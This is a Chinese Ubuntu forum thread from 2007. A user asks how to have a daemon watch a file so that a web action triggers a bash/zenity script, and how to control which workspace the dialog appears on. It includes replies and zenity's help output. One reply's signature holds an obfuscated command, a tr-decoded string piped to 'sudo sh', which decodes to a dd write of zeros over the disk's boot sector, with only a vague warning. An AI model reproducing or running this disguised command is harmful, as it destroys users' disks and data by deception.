[问题]这个功能怎么实现?(通过守护进程检测某个文件)

sh/bash/dash/ksh/zsh等Shell脚本
回复
sanz
帖子: 1010
注册时间: 2006-09-29 5:11

[问题]这个功能怎么实现?(通过守护进程检测某个文件)

#1

帖子 sanz » 2007-05-13 10:29

我需要实现这个功能:我的本本上有NANWEB+PHP+MYSQL服务器,当特定客户端在我这里做特定动作时,我需要在我的服务端运行一个BASH程序,本来这个程序包括ZENITY的。我试验了一下。发现用PHP的SHELL_EXCE()能运行普通SHELL程序,但是不能运行ZENITY或者有交互的程序(应该是我不会)。所以我想改用另外一个方案。客户端动作后改动一个文件,这个文件由一个守护程序监测状态或者内容。发现有改动后再调用那个BASH程序。

问题:
1、这个方案是否可行?守护程序调用BASH程序应该可以交互吧?
2、实时监测可以吗?还是只能通过CRON来定时监测?怎样用CRON?(没用过,系统帮助、WIKI里都找不到详细说明)
3、有没有更好的方案啊?
4、这个功能实现后(不管用什么方案),弹出的ZENITY对话框会在哪个workspace出现呢?我有4个workspace啊!怎样能确保它出现在当前的呢?象GAIM的对话弹出一样
Dell D620 -> Asus U44SG
Dapper->Edgy->Feisty->Gutsy->Hardy->Karmic->Lucid -> Oneric -> Precise->Trusty
Python+JS
sanz
帖子: 1010
注册时间: 2006-09-29 5:11

#2

帖子 sanz » 2007-05-13 19:01

召唤好心的达人。。。
Dell D620 -> Asus U44SG
Dapper->Edgy->Feisty->Gutsy->Hardy->Karmic->Lucid -> Oneric -> Precise->Trusty
Python+JS
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#3

帖子 ziyun » 2007-05-13 20:49

expect 可以以非交互方式运行交互程序
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
头像
stlxv
论坛版主
帖子: 8275
注册时间: 2006-05-03 0:39
来自: المريخ

Re: [问题]这个功能怎么实现?(通过守护进程检测某个文件)

#4

帖子 stlxv » 2007-05-14 0:26

sanz 写了:我需要实现这个功能:我的本本上有NANWEB+PHP+MYSQL服务器,当特定客户端在我这里做特定动作时,我需要在我的服务端运行一个BASH程序,本来这个程序包括ZENITY的。我试验了一下。发现用PHP的SHELL_EXCE()能运行普通SHELL程序,但是不能运行ZENITY或者有交互的程序(应该是我不会)。所以我想改用另外一个方案。客户端动作后改动一个文件,这个文件由一个守护程序监测状态或者内容。发现有改动后再调用那个BASH程序。

问题:
1、这个方案是否可行?守护程序调用BASH程序应该可以交互吧?
2、实时监测可以吗?还是只能通过CRON来定时监测?怎样用CRON?(没用过,系统帮助、WIKI里都找不到详细说明)
3、有没有更好的方案啊?
4、这个功能实现后(不管用什么方案),弹出的ZENITY对话框会在哪个workspace出现呢?我有4个workspace啊!怎样能确保它出现在当前的呢?象GAIM的对话弹出一样
1. 完全可行,而且很多软件都是用这样的方法的,但是要考虑的是多个client连接进来的情况,会有些复杂
2. cron的用法可以网上搜索,一大堆。另外,这个实时监测程序你可以写成系统守护程序,让它一直在后台监测
3. 肯定有
4. zenity会在哪个workspace出现应该可以使用参数来指定,刚刚看了,有这个参数。
PHP是最好的语言!不服来战!
sanz
帖子: 1010
注册时间: 2006-09-29 5:11

#5

帖子 sanz » 2007-05-14 11:25

谢谢楼上的。

2、系统守护程序,我之前也搜了半天,没有关于SHELL的,只有C的,看了半天INIT。D下的东西也没有头绪,所以放弃了。

4、zenity的MAN和INFO我都找不到这个参数啊?我GOODLE了也找不到.
Dell D620 -> Asus U44SG
Dapper->Edgy->Feisty->Gutsy->Hardy->Karmic->Lucid -> Oneric -> Precise->Trusty
Python+JS
头像
eexpress
帖子: 58428
注册时间: 2005-08-14 21:55
来自: 长沙

#6

帖子 eexpress » 2007-05-14 11:28

zenity有--help。容易的。
● 鸣学
sanz
帖子: 1010
注册时间: 2006-09-29 5:11

#7

帖子 sanz » 2007-05-14 11:54

楼上的,我早help-all 过了,结果中哪里有关于WORKSPACE的选项啊?

Help Options:
-?, --help Show help options
--help-all Show all help options
--help-general Show general options
--help-calendar Show calendar options
--help-entry Show text entry options
--help-error Show error options
--help-info Show info options
--help-file-selection Show file selection options
--help-list Show list options
--help-notification Show notification icon options
--help-progress Show progress options
--help-question Show question options
--help-warning Show warning options
--help-scale Show scale options
--help-text-info Show text information options
--help-misc Show miscellaneous options
--help-gtk Show GTK+ Options

General options
--title=TITLE Set the dialog title
--window-icon=ICONPATH Set the window icon
--width=WIDTH Set the width
--height=HEIGHT Set the height

Calendar options
--text=TEXT Set the dialog text
--day=DAY Set the calendar day
--month=MONTH Set the calendar month
--year=YEAR Set the calendar year
--date-format=PATTERN Set the format for the returned date

Text entry options
--text=TEXT Set the dialog text
--entry-text=TEXT Set the entry text
--hide-text=TEXT Hide the entry text

Error options
--text=TEXT Set the dialog text
--no-wrap Do not enable text wrapping

Info options
--text=TEXT Set the dialog text
--no-wrap Do not enable text wrapping

File selection options
--filename=FILENAME Set the filename
--multiple Allow multiple files to be selected
--directory Activate directory-only selection
--save Activate save mode
--separator=SEPARATOR Set output separator character
--confirm-overwrite Confirm file selection if filename already exists

List options
--text=TEXT Set the dialog text
--column=COLUMN Set the column header
--checklist Use check boxes for first column
--radiolist Use radio buttons for first column
--separator=SEPARATOR Set output separator character
--multiple Allow multiple rows to be selected
--editable Allow changes to text
--print-column=NUMBER Print a specific column (Default is 1. 'ALL' can be used to print all columns)
--hide-column=NUMBER Hide a specific column

Notification icon options
--text=TEXT Set the notification text
--listen Listen for commands on stdin

Progress options
--text=TEXT Set the dialog text
--percentage=PERCENTAGE Set initial percentage
--pulsate Pulsate progress bar
--auto-close Dismiss the dialog when 100% has been reached
--auto-kill Kill parent process if cancel button is pressed

Question options
--text=TEXT Set the dialog text
--no-wrap Do not enable text wrapping

Warning options
--text=TEXT Set the dialog text
--no-wrap Do not enable text wrapping

Scale options
--text=TEXT Set the dialog text
--value=VALUE Set initial value
--min-value=VALUE Set minimum value
--max-value=VALUE Set maximum value
--step=VALUE Set step size
--print-partial Print partial values
--hide-value Hide value

Text information options
--filename=FILENAME Open file
--editable Allow changes to text

Miscellaneous options
--about About zenity
--version Print version

GTK+ Options
--class=CLASS Program class as used by the window manager
--name=NAME Program name as used by the window manager
--screen=SCREEN X screen to use
--sync Make X calls synchronous
--gtk-module=MODULES Load additional GTK+ modules
--g-fatal-warnings Make all warnings fatal

Application Options:
--calendar Display calendar dialog
--entry Display text entry dialog
--error Display error dialog
--info Display info dialog
--file-selection Display file selection dialog
--list Display list dialog
--notification Display notification
--progress Display progress indication dialog
--question Display question dialog
--warning Display warning dialog
--scale Display scale dialog
--text-info Display text information dialog
--display=DISPLAY X display to use
Dell D620 -> Asus U44SG
Dapper->Edgy->Feisty->Gutsy->Hardy->Karmic->Lucid -> Oneric -> Precise->Trusty
Python+JS
回复